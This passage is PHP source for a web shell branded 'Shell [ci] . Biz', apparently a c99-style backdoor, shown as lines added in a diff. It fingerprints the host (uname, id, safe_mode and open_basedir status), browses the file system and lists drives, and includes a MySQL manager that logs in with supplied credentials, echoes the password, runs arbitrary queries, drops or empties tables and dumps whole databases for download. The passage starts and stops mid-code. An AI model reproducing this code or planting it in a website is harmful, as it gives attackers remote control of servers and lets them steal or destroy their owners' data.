{$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (no secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> +<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - Shellci.biz</title><STYLE> +TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0099CC; FONT-FAMILY: Tahoma; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #000000;}body,td,th { font-family: verdana; color: #CCCCCC; font-size: 11px;}body { background-color: #000000;} +</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>Shell [ci] . Biz <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" 